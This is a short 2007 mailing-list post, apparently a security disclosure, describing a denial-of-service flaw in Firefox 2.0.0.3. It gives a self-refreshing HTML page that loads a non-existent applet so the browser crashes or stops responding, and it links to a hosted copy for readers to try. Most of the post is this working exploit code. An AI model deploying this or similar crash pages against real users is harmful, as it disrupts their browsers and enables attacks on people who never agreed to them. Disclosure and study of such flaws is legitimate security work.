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Firefox 2.0.0.3 non-existent applet DoS flaw

From: "carl hardwick" <hardwick.carl () gmail com>
Date: Mon, 30 Apr 2007 17:35:58 +0200

Firefox 2.0.0.3 is unable to handle a multiple request of non-existent
applet so, after some page refresh, crashes or stops to answer.
You can try this exploit here www.shinnai.altervista.org/nea.html but,
if so, you need a little patience 'cause it's too slow than from local
exploitation.

<html>
<head>
  <meta http-equiv='Refresh' content='0;url=nea.html'>
  <applet name='$$$$$$$$$$$$'  code='$$$$$$$$$$$$'
archive='$$$$$$$$$$$$'  width='160' height='160'>
  </applet>
  </meta>
</head>
</html>

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